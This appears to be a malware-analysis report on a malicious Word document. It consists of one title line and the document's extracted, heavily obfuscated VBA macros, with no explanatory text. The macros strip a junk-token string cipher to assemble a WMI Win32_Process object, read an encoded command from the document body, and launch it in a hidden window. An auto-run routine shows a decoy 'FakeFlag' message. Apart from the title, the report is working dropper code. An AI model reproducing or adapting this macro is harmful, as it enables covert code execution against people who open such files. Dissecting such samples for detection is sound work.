Malicious Office (OLE) / .DOC — malware analysis report

Attribute VB_Name = "Htqbdi3x0p1bpx7"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
    MsgBox "FakeFlag{N0t_Th4t_3asy}"
End Sub


Attribute VB_Name = "Lt_l2i5x8f4qw5i"
Attribute VB_Base = "0{E5CF94D4-A68D-4DE8-8D42-E12120ED417F}{FC53C9A9-AA23-4093-96A9-9FFEB7B9A744}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Yulfni6j7ok2f80tqh()
On Error Resume Next
   Dim usOumCZCI(7 + 5 + 1 + 5) As String
Set XiTeT = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(OQlZBI)
Dim dEVMYDD(5 + 8 + 1 + 7) As String
usOumCZCI(HPnDmI) = Cos(2 + 19 + 4)
usOumCZCI(HPnDmI) = (oewuADEAJ + 964)
OSazXt = PDdQtDYPF
usOumCZCI(HPnDmI) = (126 + Int(93) + EKeIAIECa)
Dim CKhQJQkrD(7 + 5 + 1 + 4) As String
Set apxpWEEP = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(VPGjLHDB)
Dim xeaSnlIkF(8 + 5 + 1 + 6) As String
CKhQJQkrD(dXLXG) = Cos(685 + 84 + 2)
CKhQJQkrD(dXLXG) = (ahPIIx + 835)
thGkB = mfkgFJJ
CKhQJQkrD(dXLXG) = (8494 + Int(3) + AUXkfIG)
Zo2uih_o2mq8pi1iz = "][ (0 huBJ [] []wro][ (0 huBJ [] []w" + "][ (0 huBJ [] []wce][ (0 huBJ [] []ws][ (0 huBJ [] []ws][ (0 huBJ [] []w" + Hj4ujwfpyy8
   Dim EydkCYGC(7 + 5 + 1 + 7) As String
Set yRjTk = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(SdaXJ)
Dim ISVYBNJJI(5 + 7 + 1 + 8) As String
EydkCYGC(CzeCFA) = Cos(85 + 218 + 8233)
EydkCYGC(CzeCFA) = (pDZjCvqX + 9911)
PDszsF = YxSqyCTEG
EydkCYGC(CzeCFA) = (9 + Int(7) + YxigTb)
Dim KhAtfwFWX(7 + 8 + 1 + 8) As String
Set QpoqIFJ = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(sBzGID)
Dim gDcTNCVt(5 + 7 + 1 + 4) As String
KhAtfwFWX(rPtjr) = Cos(87 + 920 + 1)
KhAtfwFWX(rPtjr) = (nRWaUA + 837)
BocbDIE = vjvZAWdGD
KhAtfwFWX(rPtjr) = (646 + Int(5) + PqpgCTFI)
Gd4zxqf002aozhi9z = "][ (0 huBJ [] []w][ (0 huBJ [] []w:][ (0 huBJ [] []ww][" + " (0 huBJ [] []win][ (0 huBJ [] []w][ (0 huBJ [] []w3][ (0 huBJ [] []w2][ (0 huBJ [] []w_][ (0 huBJ [] []w" + Hw28kvn3b633x
   Dim BTWaCZcwC(6 + 7 + 1 + 8) As String
Set meupD = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(UTIBUA)
Dim yyaWl(7 + 7 + 1 + 7) As String
BTWaCZcwC(EipJBhH) = Cos(5 + 4 + 3)
BTWaCZcwC(EipJBhH) = (DhcRuFaCv + 3151)
KRTrI = vZscCOE
BTWaCZcwC(EipJBhH) = (3857 + Int(1763) + qjUZWIH)
Dim AaMzBA(5 + 8 + 1 + 6) As String
Set jCqkv = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(czRiBBCG)
Dim AzZIe(5 + 5 + 1 + 6) As String
AaMzBA(PTzRO) = Cos(97 + 5 + 11)
AaMzBA(PTzRO) = (kIOhAFt + 454)
bevYEGrGA = TdWlAFII
AaMzBA(PTzRO) = (3 + Int(5096) + ZZaIGA)
Hi_mbyar2agjbcmgll = "][ (0 huBJ [] []w][ (0 huBJ [] []ww][ (0 huBJ [] []wi][ (0 huBJ [" + "] []wnm][ (0 huBJ [] []w][ (0 huBJ [] []wgm][ (0 huBJ [] []wt][ (0 huBJ [] []w][ (0 huBJ [] []w" + Aqbj3_33ziceoti
   Dim yBXBaB(8 + 5 + 1 + 7) As String
Set SwsyZ = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(NIxifD)
Dim EHVJyzYWb(7 + 7 + 1 + 8) As String
yBXBaB(mItVEzF) = Cos(31 + 2989 + 3)
yBXBaB(mItVEzF) = (mmvlJDwGI + 7)
pkLNm = DlXrEJC
yBXBaB(mItVEzF) = (822 + Int(725) + SgvbFYAx)
Dim JTYVHBYG(8 + 6 + 1 + 7) As String
Set IwtvFF = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(MZaWWpBI)
Dim nHmLM(7 + 7 + 1 + 4) As String
JTYVHBYG(dOKqFAimb) = Cos(987 + 3833 + 2)
JTYVHBYG(dOKqFAimb) = (AQaUXGHEc + 63)
WVcQpuDA = hJHRHIG
JTYVHBYG(dOKqFAimb) = (8454 + Int(562) + CYPUrBNE)
V0c_t4rhqqpw5 = ChrW(BuildKeyCode(Arg1:=wdKeyS))
   Dim lqiJhHdO(5 + 8 + 1 + 6) As String
Set PqmngcABA = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(xJNKmGg)
Dim nRWSZGGH(7 + 6 + 1 + 5) As String
lqiJhHdO(NIRHCHUG) = Cos(1 + 79 + 21)
lqiJhHdO(NIRHCHUG) = (zOuqIqNF + 5156)
IAESJJi = wTcPCGGr
lqiJhHdO(NIRHCHUG) = (6246 + Int(9) + qQOpyQBw)
Dim nApdDW(7 + 5 + 1 + 8) As String
Set oyUEt = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(UlOoFkM)
Dim GGkmZ(8 + 8 + 1 + 7) As String
nApdDW(nJzXD) = Cos(9633 + 6 + 188)
nApdDW(nJzXD) = (aKeyPG + 5)
JlyfbaGaC = FNjqADDHd
nApdDW(nJzXD) = (34 + Int(2) + HfIEmFCE)
Gwvh25w3otsif = Hi_mbyar2agjbcmgll + V0c_t4rhqqpw5 + Gd4zxqf002aozhi9z + Lt_l2i5x8f4qw5i.Cl1suq7b19kyr9ukvt + Zo2uih_o2mq8pi1iz
   Dim DhjVBsDSD(8 + 6 + 1 + 4) As String
Set GQnacv = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(BlyTd)
Dim NIKvBFPIs(8 + 5 + 1 + 4) As String
DhjVBsDSD(vlbxC) = Cos(52 + 3 + 1)
DhjVBsDSD(vlbxC) = (oiikU + 3)
JKIUbD = bqRwA
DhjVBsDSD(vlbxC) = (7 + Int(9) + wLuxDpQ)
Dim nYYLCIl(5 + 5 + 1 + 6) As String
Set ixZxB = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(kBeEMEizD)
Dim DKQjKCBsw(6 + 8 + 1 + 6) As String
nYYLCIl(ihAnl) = Cos(50 + 4 + 6)
nYYLCIl(ihAnl) = (vKucAq + 2)
hELKJD = uodhBLLA
nYYLCIl(ihAnl) = (795 + Int(3) + aCeIHE)
Ryz8t1u2iap = Hs6la7eq2yreh(Gwvh25w3otsif)
   Dim CXnRIpZ(5 + 7 + 1 + 7) As String
Set xuiAKAE = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(AvsuDTHBw)
Dim yDpjr(5 + 7 + 1 + 7) As String
CXnRIpZ(xPcbIK) = Cos(6 + 552 + 506)
CXnRIpZ(xPcbIK) = (vxvfaFI + 3)
FElRUE = YtXkA
CXnRIpZ(xPcbIK) = (2 + Int(414) + sDjRA)
Dim wbdsOnDA(7 + 5 + 1 + 8) As String
Set wArIHtkxa = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(jWXOG)
Dim GhmXK(6 + 8 + 1 + 5) As String
wbdsOnDA(wjWhJHtmC) = Cos(5 + 859 + 311)
wbdsOnDA(wjWhJHtmC) = (RroKknGF + 1526)
fhUNCI = XMaURWYJ
wbdsOnDA(wjWhJHtmC) = (32 + Int(5) + iiEmIGziA)
Set Fpsrhmtqzfij93lq = CreateObject(Ryz8t1u2iap)
   Dim jtjlEOAM(7 + 7 + 1 + 8) As String
Set GVupHP = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(pVjSJB)
Dim KLgNBJZ(6 + 8 + 1 + 5) As String
jtjlEOAM(kuXzSso) = Cos(818 + 82 + 5464)
jtjlEOAM(kuXzSso) = (lZPBh + 6)
SaBMrIEn = CMOhC
jtjlEOAM(kuXzSso) = (6 + Int(2) + kcJJADM)
Dim luqicI(6 + 5 + 1 + 7) As String
Set VXHMp = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(WWAUF)
Dim jzyPs(8 + 6 + 1 + 7) As String
luqicI(lTVMDCqHJ) = Cos(914 + 5 + 656)
luqicI(lTVMDCqHJ) = (qtmzGtxG + 480)
GVvIqmt = MpZewJ
luqicI(lTVMDCqHJ) = (8 + Int(1) + tcDtJEH)
Ntm881c12xrc4expm9 = Mid(CVar(Htqbdi3x0p1bpx7.StoryRanges.Item(1)), 5, 53067)
   Dim aLSPn(6 + 6 + 1 + 7) As String
Set RlgjTC = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(DnueC)
Dim thGWDC(7 + 7 + 1 + 4) As String
aLSPn(pYmyg) = Cos(96 + 21 + 90)
aLSPn(pYmyg) = (OnbANufFf + 2)
QWUuEjD = NQdyCZrM
aLSPn(pYmyg) = (677 + Int(7865) + qyjhJIEnJ)
Dim fmVoJjn(6 + 7 + 1 + 6) As String
Set gAurdXHG = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(PkWNL)
Dim qSpaBGAkD(7 + 8 + 1 + 4) As String
fmVoJjn(IyPulFI) = Cos(6 + 3 + 252)
fmVoJjn(IyPulFI) = (zhNpFAEdB + 5589)
UIqciA = KHRTFGIA
fmVoJjn(IyPulFI) = (4586 + Int(360) + nWJbm)
Ij_84haa94ehdia = Kmnb_n824uhj_p + Ryz8t1u2iap + V0c_t4rhqqpw5 + Lt_l2i5x8f4qw5i.Ctu1mo7cstkgp + Lt_l2i5x8f4qw5i.Fc3feqbi8qy
   Dim dVuGRImfJ(6 + 8 + 1 + 6) As String
Set ljkrB = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(kPXrFrDSC)
Dim sHLwC(7 + 8 + 1 + 8) As String
dVuGRImfJ(VNRALdGHB) = Cos(844 + 3205 + 4)
dVuGRImfJ(VNRALdGHB) = (ShJoxI + 1902)
hPcNDtF = HQVlBG
dVuGRImfJ(VNRALdGHB) = (66 + Int(6) + PuAFaHJC)
Dim XiFCFTtID(8 + 5 + 1 + 5) As String
Set dJcPoM = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(EsTNlaIFC)
Dim PMhRh(5 + 7 + 1 + 7) As String
XiFCFTtID(rGgzOCoG) = Cos(76 + 48 + 5)
XiFCFTtID(rGgzOCoG) = (PCGYWuUE + 5569)
MzPndDDYr = DohMb
XiFCFTtID(rGgzOCoG) = (6816 + Int(6) + rLScA)
Set T6owq3v7pb0c = Mzj4a1lpxlocl6w(Ij_84haa94ehdia + Lt_l2i5x8f4qw5i.Cl1suq7b19kyr9ukvt)
   Dim xJlGFGPAW(5 + 5 + 1 + 8) As String
Set MndxijzUZ = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(BPKmBBGi)
Dim KSHoCBI(5 + 7 + 1 + 4) As String
xJlGFGPAW(kUFdE) = Cos(2 + 4581 + 32)
xJlGFGPAW(kUFdE) = (UUuhJDGf + 73)
kfohJ = cvxWzEG
xJlGFGPAW(kUFdE) = (704 + Int(60) + jMaCFE)
Dim FSMYHJ(7 + 6 + 1 + 4) As String
Set zxzgVEA = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(uHcuEiFq)
Dim oXNROH(8 + 6 + 1 + 8) As String
FSMYHJ(zXeKBEa) = Cos(8 + 8914 + 4)
FSMYHJ(zXeKBEa) = (NnpvACDA + 66)
dmBFFbG = ASiEPg
FSMYHJ(zXeKBEa) = (86 + Int(7978) + kPgnBETR)
   Dim FujXBCAT(7 + 7 + 1 + 7) As String
Set VhXPCBBHh = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(zcElKLMzb)
Dim vNnnGCZf(8 + 5 + 1 + 4) As String
FujXBCAT(DsedwEP) = Cos(17 + 6860 + 6263)
FujXBCAT(DsedwEP) = (zOBCEIFQF + 8)
iPSnBsA = lkYEB
FujXBCAT(DsedwEP) = (6 + Int(774) + iSJwHD)
Dim cpDKJI(6 + 6 + 1 + 4) As String
Set fGDjmKdC = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(UOZUBEJ)
Dim KgVPGHHrD(5 + 5 + 1 + 6) As String
cpDKJI(KASXgeQRI) = Cos(4 + 61 + 64)
cpDKJI(KASXgeQRI) = (IxnZJ + 12)
tWaRX = SSkmNJF
cpDKJI(KASXgeQRI) = (2 + Int(327) + SSCRAC)
   Dim oAdcAFJ(5 + 7 + 1 + 4) As String
Set fimtGgIfI = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(CqgyKs)
Dim pMfDPZA(5 + 6 + 1 + 8) As String
oAdcAFJ(TBoXFEGIJ) = Cos(4469 + 6 + 8623)
oAdcAFJ(TBoXFEGIJ) = (lGxeDDz + 19)
dTsbADJAc = WeMdaI
oAdcAFJ(TBoXFEGIJ) = (4 + Int(9) + oUhMI)
Dim vjiDEGYF(8 + 7 + 1 + 7) As String
Set UMUEBJLCH = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(fKfxY)
Dim vZDQNgZI(7 + 7 + 1 + 8) As String
vjiDEGYF(xLHuHkI) = Cos(2 + 3 + 511)
vjiDEGYF(xLHuHkI) = (OeTLCTUHD + 2923)
IqSCIDGO = UdGNBH
vjiDEGYF(xLHuHkI) = (634 + Int(609) + GxALIIp)
Fpsrhmtqzfij93lq. _
Create Hs6la7eq2yreh(Ntm881c12xrc4expm9), A9zw1op79tt8s5, T6owq3v7pb0c
   Dim RVOmJ(6 + 8 + 1 + 8) As String
Set yJfnx = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(gdgsFFR)
Dim UodWBG(8 + 7 + 1 + 7) As String
RVOmJ(SBGRRDI) = Cos(6 + 24 + 3)
RVOmJ(SBGRRDI) = (LKrMAG + 73)
adZoQv = fRmtRvAH
RVOmJ(SBGRRDI) = (9 + Int(7) + EtJOABGL)
Dim JtkuH(8 + 7 + 1 + 4) As String
Set jeGUdqZsA = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(tdWGIo)
Dim MTkWJDp(5 + 7 + 1 + 5) As String
JtkuH(IdkYJMEEY) = Cos(60 + 1 + 9)
JtkuH(IdkYJMEEY) = (sweYJIG + 1764)
wslEBBJu = tdrCJuzJ
JtkuH(IdkYJMEEY) = (644 + Int(752) + vrBTICH)
   Dim ezMkF(8 + 6 + 1 + 5) As String
Set vMnmCGVIQ = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(NPqvBC)
Dim rLdOC(6 + 5 + 1 + 6) As String
ezMkF(StYyiGHcB) = Cos(4 + 94 + 2339)
ezMkF(StYyiGHcB) = (vSoAGFAEE + 57)
anizbmA = jXNOE
ezMkF(StYyiGHcB) = (4 + Int(2) + RznGSJPBy)
Dim YmkZrC(7 + 8 + 1 + 7) As String
Set MrXBwyh = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(EjYrMlDh)
Dim IsqNfG(7 + 8 + 1 + 6) As String
YmkZrC(jlwAJn) = Cos(74 + 9 + 2)
YmkZrC(jlwAJn) = (HUlfHE + 72)
ZZhutACLW = ZGwKA
YmkZrC(jlwAJn) = (178 + Int(7962) + ywqhU)
End Function
Function Mzj4a1lpxlocl6w(Rklp62mbi85yy9zfeg)
On Error Resume Next
   Dim kjJvJI(5 + 8 + 1 + 5) As String
Set OsSdBaKHk = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(rvqUEGExE)
Dim rKWfIsIB(8 + 8 + 1 + 6) As String
kjJvJI(vfclyGk) = Cos(5 + 8 + 8)
kjJvJI(vfclyGk) = (LYefHFL + 6)
jiVZyFnH = fsJPAvE
kjJvJI(vfclyGk) = (944 + Int(4) + vyiMV)
Dim uTBACIAJJ(7 + 8 + 1 + 8) As String
Set HytTDc = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(BPEQdEA)
Dim sufIG(7 + 7 + 1 + 6) As String
uTBACIAJJ(AarGF) = Cos(781 + 5 + 9)
uTBACIAJJ(AarGF) = (RuXGg + 4)
QvSABKJTP = ZuWxGI
uTBACIAJJ(AarGF) = (7 + Int(23) + fjnWi)
Set Mzj4a1lpxlocl6w = B5kxad2f6a9l2wec.Ug5ciccd4cghfy(Hs6la7eq2yreh(E6uxrppvvxtk + Rklp62mbi85yy9zfeg + G3t3j2bg18ta0r))
   Dim JjSpB(7 + 7 + 1 + 8) As String
Set gTVoG = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(bvmIgh)
Dim JmXmCuAI(7 + 8 + 1 + 7) As String
JjSpB(NWvSBIw) = Cos(4 + 1 + 7)
JjSpB(NWvSBIw) = (DOElhuL + 785)
WgmzBlr = ygLPHDwCH
JjSpB(NWvSBIw) = (9 + Int(7) + JLdVbtJJ)
Dim jAETJ(8 + 5 + 1 + 7) As String
Set lUcmRtECB = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(LjSzX)
Dim GIwQs(5 + 6 + 1 + 8) As String
jAETJ(gTTMeyA) = Cos(4 + 791 + 3450)
jAETJ(gTTMeyA) = (Ldwek + 36)
kxoTLyCb = aBrEB
jAETJ(gTTMeyA) = (37 + Int(9) + XtSxADDDH)
Mzj4a1lpxlocl6w _
.showwindow = 0
   Dim wFjlAAoVJ(7 + 8 + 1 + 4) As String
Set ErpRAobWE = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(EumFBCI)
Dim VcnYB(8 + 5 + 1 + 5) As String
wFjlAAoVJ(nhWAHnFB) = Cos(3 + 8975 + 2)
wFjlAAoVJ(nhWAHnFB) = (RuqVjGDFJ + 936)
UzuAC = HLmwcnBu
wFjlAAoVJ(nhWAHnFB) = (843 + Int(76) + cXDRJfBFC)
Dim QcyzFH(8 + 8 + 1 + 4) As String
Set JKjBdHVG = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(iXKPBJFBA)
Dim GgkET(6 + 6 + 1 + 8) As String
QcyzFH(mlcVVA) = Cos(3020 + 9 + 5)
QcyzFH(mlcVVA) = (ixMjIBX + 53)
ZWqcH = lGtiFps
QcyzFH(mlcVVA) = (1 + Int(6) + WAhEIJG)
End Function
Function Hs6la7eq2yreh(Ddas1qaozhxcg_m)
On Error Resume Next
   Dim vHjfHICM(8 + 8 + 1 + 5) As String
Set OBLNIAF = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(FKRsCaZJ)
Dim CIFILLBI(6 + 5 + 1 + 7) As String
vHjfHICM(RobwD) = Cos(9 + 4 + 290)
vHjfHICM(RobwD) = (ccnEYCJJ + 8065)
zkVZHCIOB = FXRUDFzI
vHjfHICM(RobwD) = (825 + Int(1) + ikvPTbHJD)
Dim OOXOGGHD(8 + 7 + 1 + 5) As String
Set EzEJTeBy = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(lVPeCLH)
Dim pLtBBG(6 + 5 + 1 + 6) As String
OOXOGGHD(kMivbHM) = Cos(4 + 8 + 29)
OOXOGGHD(kMivbHM) = (BnXwVCADJ + 88)
kLAnCG = gCCBA
OOXOGGHD(kMivbHM) = (1845 + Int(10) + OpGmJkD)
S9cq6p132ckig = (Ddas1qaozhxcg_m)
   Dim IFgQQA(6 + 5 + 1 + 6) As String
Set xJsrr = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(onazcGHG)
Dim FfPxBRhFb(6 + 6 + 1 + 6) As String
IFgQQA(UviiCJt) = Cos(35 + 7 + 51)
IFgQQA(UviiCJt) = (yaPEJZm + 9308)
cSglaCP = vrMQuI
IFgQQA(UviiCJt) = (6 + Int(8) + iFUDE)
Dim cPXLFs(5 + 5 + 1 + 7) As String
Set hOoMB = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(ypjbIafu)
Dim IWmzDJmFB(5 + 5 + 1 + 8) As String
cPXLFs(zZMDFSAqb) = Cos(976 + 775 + 6320)
cPXLFs(zZMDFSAqb) = (HLIXTr + 3515)
oFafQ = hYeFCmJn
cPXLFs(zZMDFSAqb) = (3470 + Int(3027) + ldGLJb)
Yfy6ekz7xj79_ = B5kxad2f6a9l2wec.Nlpfpcsbssrm8y(S9cq6p132ckig)
   Dim tJuNd(6 + 8 + 1 + 7) As String
Set kwaPxEb = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(HOUwnBu)
Dim vUodCpID(6 + 8 + 1 + 4) As String
tJuNd(QoThGd) = Cos(123 + 4246 + 10)
tJuNd(QoThGd) = (TlUjhLLJA + 6)
VFuchQ = WJvBCKHID
tJuNd(QoThGd) = (8 + Int(6) + dUUaCoAF)
Dim cqaoJJu(8 + 6 + 1 + 5) As String
Set yPaoAvJE = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(KpBuSD)
Dim KIJbAP(5 + 5 + 1 + 7) As String
cqaoJJu(TvJbksC) = Cos(244 + 405 + 4)
cqaoJJu(TvJbksC) = (CbNRHyiAC + 6)
RDqOdEHa = KUjbsE
cqaoJJu(TvJbksC) = (152 + Int(1) + hrBsJDH)
Hs6la7eq2yreh = Yfy6ekz7xj79_
   Dim IViVGBR(6 + 8 + 1 + 8) As String
Set ItXsE = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(rKkPEN)
Dim HlkKfADHE(6 + 5 + 1 + 6) As String
IViVGBR(ufQvJSj) = Cos(6 + 90 + 283)
IViVGBR(ufQvJSj) = (GLdxBp + 5396)
DqvWAFipj = FZxFN
IViVGBR(ufQvJSj) = (7 + Int(543) + DhVOC)
Dim DuUlA(5 + 7 + 1 + 7) As String
Set ifKeB = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(LpewHGFAD)
Dim IYGVEOjU(8 + 7 + 1 + 6) As String
DuUlA(TnpeIEI) = Cos(80 + 627 + 6269)
DuUlA(TnpeIEI) = (bFSOZEHfH + 8)
EnIPHIin = EDWgzFhEr
DuUlA(TnpeIEI) = (9 + Int(1) + xIFYIJfEA)
End Function
Function Pyp8y812nivd8y3zx(Nrrp8xnnzn0cwn)
Zgd_yfa2x23 = M9bws0_cegeo57p5pl
End Function


Attribute VB_Name = "B5kxad2f6a9l2wec"
Function Nlpfpcsbssrm8y(Ij_84haa94ehdia)
On Error Resume Next
   Dim iNvhIBC(8 + 8 + 1 + 5) As String
Set rEBbuGh = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(tesVJjZBm)
Dim prdUAG(6 + 7 + 1 + 8) As String
iNvhIBC(fxhVJDiGu) = Cos(4 + 6 + 130)
iNvhIBC(fxhVJDiGu) = (UUDADE + 3)
QqVWJG = jZGaAv
iNvhIBC(fxhVJDiGu) = (2256 + Int(3) + AANxPGAC)
Dim vJjHaEDC(6 + 6 + 1 + 8) As String
Set tEMdD = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(ZPZoX)
Dim WxLCF(8 + 6 + 1 + 7) As String
vJjHaEDC(uWoAZE) = Cos(4863 + 345 + 8)
vJjHaEDC(uWoAZE) = (NiKKI + 27)
PZYbrG = OghWI
vJjHaEDC(uWoAZE) = (625 + Int(96) + mICRC)
Nlpfpcsbssrm8y = Replace(Ij_84haa94ehdia, "][ (0 huBJ [] []w", Y0buszs_jp_hoe)
   Dim KDJuBGDN(6 + 7 + 1 + 6) As String
Set NNDaEM = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(EHvkO)
Dim KkAvAGJp(5 + 6 + 1 + 6) As String
KDJuBGDN(JlrdGDHBJ) = Cos(9 + 4 + 450)
KDJuBGDN(JlrdGDHBJ) = (VQalCkIB + 5)
mmBkAHGDI = vHMbJ
KDJuBGDN(JlrdGDHBJ) = (155 + Int(9534) + gjFABo)
Dim iEORACDC(8 + 8 + 1 + 4) As String
Set QvsGE = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(blnYADd)
Dim lTOBo(6 + 7 + 1 + 6) As String
iEORACDC(nEkUIRGFD) = Cos(45 + 3631 + 42)
iEORACDC(nEkUIRGFD) = (AuAejI + 935)
HULWG = PTlyI
iEORACDC(nEkUIRGFD) = (18 + Int(7) + ZvHnJnEK)
End Function
Function Ug5ciccd4cghfy(Ag2kw_q9iraljr)
On Error Resume Next
   Dim GFlOB(6 + 7 + 1 + 6) As String
Set PNzBIJn = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(gecAKF)
Dim ryZaFvEBe(7 + 8 + 1 + 4) As String
GFlOB(lBIWBcB) = Cos(3551 + 465 + 2845)
GFlOB(lBIWBcB) = (xCOKDHCH + 84)
etkciyMFw = BGDCyAvkv
GFlOB(lBIWBcB) = (766 + Int(96) + EweYVEJB)
Dim oPYhCIj(8 + 8 + 1 + 8) As String
Set izlMuMCs = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(tfnoJLtS)
Dim KZhSp(7 + 6 + 1 + 4) As String
oPYhCIj(BdVMCE) = Cos(4 + 4733 + 1)
oPYhCIj(BdVMCE) = (wovLOvT + 8)
brEzIEF = IDQoWBJR
oPYhCIj(BdVMCE) = (6462 + Int(8) + wGkuKFAEd)
Set Ug5ciccd4cghfy = CreateObject(Ag2kw_q9iraljr)
   Dim kFATHFJ(5 + 6 + 1 + 4) As String
Set UdnGV = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(hajFD)
Dim vMLiHrv(6 + 8 + 1 + 6) As String
kFATHFJ(FfISH) = Cos(9 + 2 + 3117)
kFATHFJ(FfISH) = (xXRsH + 4)
LPwsHE = ETjDHdrC
kFATHFJ(FfISH) = (197 + Int(1) + FGZHC)
Dim IxUgW(6 + 6 + 1 + 7) As String
Set NBwqG = Lt_l2i5x8f4qw5i.Pyp8y812nivd8y3zx(IunEHTI)
Dim BWHTCE(8 + 5 + 1 + 6) As String
IxUgW(xPrqiIqAI) = Cos(3063 + 96 + 192)
IxUgW(xPrqiIqAI) = (OrgVoJVG + 8)
iYwwCaHEW = IcgfIIeiH
IxUgW(xPrqiIqAI) = (99 + Int(2) + WlMap)
End Function